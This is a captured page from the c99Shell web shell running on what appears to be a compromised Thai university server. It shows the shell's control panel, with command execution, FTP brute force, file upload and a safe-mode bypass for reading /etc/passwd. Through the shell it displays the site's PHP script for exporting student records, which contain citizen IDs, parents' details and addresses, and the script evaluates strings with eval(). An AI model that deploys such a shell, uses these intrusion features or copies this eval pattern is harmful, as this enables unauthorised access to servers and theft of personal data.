!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_ris.php (13.07 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
ini_set
("memory_limit""128M");
header('Content-type: application/xls');
header('Content-Disposition: attachment; filename="ris.xls"');

function 
checkSst($sst) {
    if(
$sst=='1')
        
$sst 'มีชีวิตอยู่';
    else if(
$sst=='2')
        
$sst 'หย่าร้าง';
    else if(
$sst=='3')
        
$sst 'ตาย';
    else
        
$sst '-';
    return 
$sst;
}
?>
<table width="100%" align="center">
    <tr>
        <td colspan="3" height="22" align="center"><font size="3"><b>รายชื่อสถานะนักศึกษาตามหลักสูตร</b></font></td>
    </tr>
    <tr>
        <td colspan="3" height="22"></td>
    </tr>
    <tr>
        <td colspan="3" height="22"><font size="2"><b>หลักสูตร</b> <?php echo $qu_cur->curName;?></font></td>
    </tr>
    <tr>
        <td colspan="3"><table border="1" cellspacing="0" cellpadding="0" bordercolor="#000000" style="border-collapse: collapse" align="center">
            <tr>
                <td rowspan="2" align="center"><font size="2"><b>ที่</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>รหัสนักศึกษา</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>คำนำหน้าชื่อ</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>ชื่อ</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>นามสกุล</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>ชั้นปี</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>สถานะนักศึกษา</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>เจ้าของทุน</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>จังหวัด</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>สถานะก่อนเข้าเรียน</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>ประเภททุน</b></font></td>
<?php
                set_time_limit
(0);
                
                
$fieldNames_settings = array(
                array (
'$row->prefixNameEng''คำนำหน้าชื่อ (อังกฤษ)'1),
                array (
'$row->stdNameE','ชื่อ (อังกฤษ)'1),
                array (
'$row->stdSurnameE','นามสกุล (อังกฤษ)'1),
                array (
'$row->stdGPA','GPA'1),
                array (
'$row->sdtCitizenId','เลขที่บัตรประจำตัวประชาชน'1),
                array (
'$row->sdtSex','เพศ'1),
                array (
'$row->nationName','สัญชาติ'1),
                array (
'$row->religionName','ศาสนา'1),
                array (
'$row->sdtBirthDate','วันเกิด'1),
                array (
'age','อายุ'1),
                array (
'$row->sdtPrvIdBirth','จังหวัดที่เกิด'1),
                array (
'$row->sdtFatherName','ชื่อ-สกุลบิดา'1),
                array (
'$row->sdtFatherOccupation','อาชีพบิดา'1),
                array (
'$row->sdtFatherStatus','สถานภาพบิดา'1),
                array (
'$row->sdtMotherName','ชื่อ-สกุลมารดา'1),
                array (
'$row->sdtMotherOccupation','อาชีพมารดา'1),
                array (
'$row->sdtMotherStatus','สถานภาพมารดา'1),
                array (
'$row->sdtParentName','ชื่อ-สกุลผู้ปกครอง'1),
                array (
'$row->sdtParentRelationship','ความสัมพันธ์กับนักศึกษา'1),
                array (
'$row->sdtParentOccupation','อาชีพผู้ปกครอง'1),
                array (
'$row->sdtParentIncome','รายได้ผู้ปกครอง'1),
                array (
'$oSb->sdtContactName','ชื่อ-สกุลผู้ที่สามารถติดต่อได้'1),
                array (
'$row->edgName','วุฒิการศึกษาก่อนรับเข้า'1),
                array (
'$row->sdtContactAddr','ที่อยู่ผู้ปกครองที่สามารถติดต่อได้'6),
                array (
'$row->sdtHomeAddr','ที่อยู่นักศึกษาตามภูมิลำเนา'6),
                array (
'$row->sdtCurrentAddr','ที่อยู่ปัจจุบันนักศึกษา'6),
                array (
'$row->sdtWorkAddr','ที่อยู่ที่ทำงาน (ในกรณีที่ทำงานอยู่)'6),
                array (
'$row->sdtFatherAddr','ที่อยู่บิดา'6),
                array (
'$row->sdtMotherAddr','ที่อยู่มารดา'6),
                array (
'$row->sdtGraduateAddr','ที่อยู่หลังเรียนจบ'6),
                array (
'$row->sdtBloodGroup','หมู่เลือด'1)
                );

                
$k=0;
                foreach(
$fieldNames as $val) {
                    if(
$val) {
?>
                <td rowspan="<?php echo $fieldNames_settings[$k][2]=="2" "1";?>" colspan="<?php echo $fieldNames_settings[$k][2];?>" align="center"><font size="2"><b><?php echo $fieldNames_settings[$k][1];?></b></font></td>
<?php
                    
}
                    
$k++;
                }
?>
                <td align="center"><font size="2"><b>หมายเหตุ</b></font></td>
            </tr>

            <tr>
<?php
            $k
=0;
            foreach(
$fieldNames as $val) {
                if(
$val) {
                    if(
$fieldNames_settings[$k][2]>1) {
?>

                <td align="center"><font size="2"><b>ที่อยู่</font></td>
                <td align="center"><font size="2"><b>ตำบล</font></td>
                <td align="center"><font size="2"><b>อำเภอ</font></td>
                <td align="center"><font size="2"><b>จังหวัด</font></td>
                <td align="center"><font size="2"><b>รหัสไปรษณีย์</font></td>
                <td align="center"><font size="2"><b>เบอร์โทรศัพท์</font></td>
<?php
                    
}
                }
                
$k++;
            }
?>
            </tr>
<?php
        $i 
0;
        if(
$rs_std->num_rows()) {
            foreach(
$rs_std->result() as $row) {
?>
            <tr>
                <td align="center"><font size="2"><?php echo $i+1;?></font></td>
                <td align="center"><font size="2"><?=$row->stdCode;?></font></td>
                <td><font size="2"><?=$row->prefixName;?></font></td>
                <td><font size="2"><?=$row->stdName;?></font></td>
                <td><font size="2"><?=$row->stdSurname;?></font></td>
                <td align="center"><font size="2"><?=$row->stdSyId;?></font></td>
                <td align="center"><font size="2"><?=$row->sstName;?></font></td>
                <td><font size="2"><?=$row->soName;?></font></td>
                <td><font size="2"><?php echo $row->prvNameSo;?></font></td>
                <td><font size="2"><?=$row->paName;?></font></td>
                <td><font size="2"><?php echo $row->etName;?></font></td>
<?php
                
foreach($fieldNames as $val) {
                    if(
$val) {
                        
$chkStr "";
                        
$str $val;
                        eval(
"\$str = \"$str\";");
                        
                        switch(
$val){
                            case 
'$row->stdGPA' 
                                
$str number_format($row->stdGPA2);
                                break;
                            case 
'$row->sdtSex' :
                                
$str = ($str=='M') ? 'ชาย' : (($str=='F') ? 'หญิง' '');
                                break;
                            case 
'$row->sdtBirthDate' :
                                if (
$str != "0000-00-00"){
                                    
$str abbreDate2($str);
                                }else 
$str "";
                                break;
                            case 
'age' :
                                if (
$row->sdtBirthDate != "0000-00-00") {
                                    list(
$yy$mm$dd) = preg_split('[-]'$row->sdtBirthDate);
                                    
$str getNowYear() - $yy;
                                } else 
$str "";
                                break;
                            case 
'$row->sdtPrvIdBirth' :
                                
$prv->provinceId $row->sdtPrvIdBirth;
                                
$qu_prv $prv->get_by_key();
                                
$str = ($qu_prv->num_rows()) ? $qu_prv->row()->provinceName "";
                                break;
                            case 
'$row->sdtFatherStatus' :
                                
$str checkSst($str);
                                break;
                            case 
'$row->sdtMotherStatus' :
                                
$str checkSst($str);
                                break;
                            case 
'$row->sdtFatherName' :
                                
$str $row->sdtFatherName.' '.$row->sdtFatherSurname;
                                break;
                            case 
'$row->sdtMotherName' :
                                
$str $row->sdtMotherName.' '.$row->sdtMotherSurname;
                                break;
                            case 
'$row->sdtParentName' :
                                
$pf->prefixId $row->sdtPfIdParent;
                                
$qu_pf $pf->get_by_key();
                                
$str = ($qu_pf->num_rows()) ? $qu_pf->row()->prefixName.$row->sdtParentName.' '.$row->sdtParentSurname $row->sdtParentName.' '.$row->sdtParentSurname;
                                break;
                            case 
'$row->sdtContactAddr' :
                                
$contactAddr $sdt->qryAddrOfContactJoinDtApPrv($row->stdId);
                                
$chkStr 1;
?>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->sdtContactAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->dtNameContact;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->apNameContact;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->prvNameContact;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->sdtContactPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->sdtContactPhoneNo;?>")</font></td>
<?php
                                
break;
                            case 
'$row->sdtHomeAddr' :
                                
$homeAddr $sdt->qryAddrOfHomeJoinDtApPrv($row->stdId);
                                
$chkStr 1;
?>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->sdtHomeAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->dtNameHome;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->apNameHome;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->prvNameHome;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->sdtHomePostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->sdtHomePhoneNo;?>")</font></td>
<?php
                                
break;
                            case 
'$row->sdtCurrentAddr' :
                                
$curAddr $sdt->qryAddrOfCurrentJoinDtApPrv($row->stdId);
                                
$chkStr 1;
?>
                                <td><font size="2">=T("<?php echo $curAddr->row()->sdtCurrentAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->dtNameCurrent;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->apNameCurrent;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->prvNameCurrent;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->sdtCurrentPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->sdtCurrentPhoneNo;?>")</font></td>
<?php
                                
break;
                            case 
'$row->sdtWorkAddr' :
                                
$workAddr $sdt->qryAddrOfWorkJoinDtApPrv($row->stdId);
                                
$chkStr 1;
?>
                                <td><font size="2">=T("<?php echo $workAddr->row()->sdtWorkAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->dtNameWork;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->apNameWork;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->prvNameWork;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->sdtWorkPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->sdtWorkPhoneNo;?>")</font></td>
<?php
                                
break;
                            case 
'$row->sdtFatherAddr' :
                                
$fatherAddr $sdt->qryAddrOfFatherJoinDtApPrv($row->stdId);
                                
$chkStr 1;
?>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->sdtFatherAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->dtNameFather;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->apNameFather;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->prvNameFather;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->sdtFatherPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->sdtFatherPhoneNo;?>")</font></td>
<?php
                                
break;
                            case 
'$row->sdtMotherAddr' :
                                
$motherAddr $sdt->qryAddrOfMotherJoinDtApPrv($row->stdId);
                                
$chkStr 1;
?>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->sdtMotherAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->dtNameMother;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->apNameMother;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->prvNameMother;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->sdtMotherPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->sdtMotherPhoneNo;?>")</font></td>
<?php
                                
break;
                            case 
'$row->sdtGraduateAddr' :
                                
$graduateAddr $sdt->qryAddrOfGraduateJoinDtApPrv($row->stdId);
                                
$chkStr 1;
?>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->sdtGraduateAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->dtNameGrad;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->apNameGrad;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->prvNameGrad;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->sdtGraduatePostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->sdtGraduatePhoneNo;?>")</font></td>
<?php
                                
break;
                        }

            if(
$chkStr!=1) {
?>
                <td><font size="2">=T("<?php echo $str;?>")</font></td>
<?php
                        
}
                    }
}
?>
                <td></td>
            </tr>
<?php
                $i
++;
            }
        }
            
            
set_time_limit(30);
?>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0163 ]--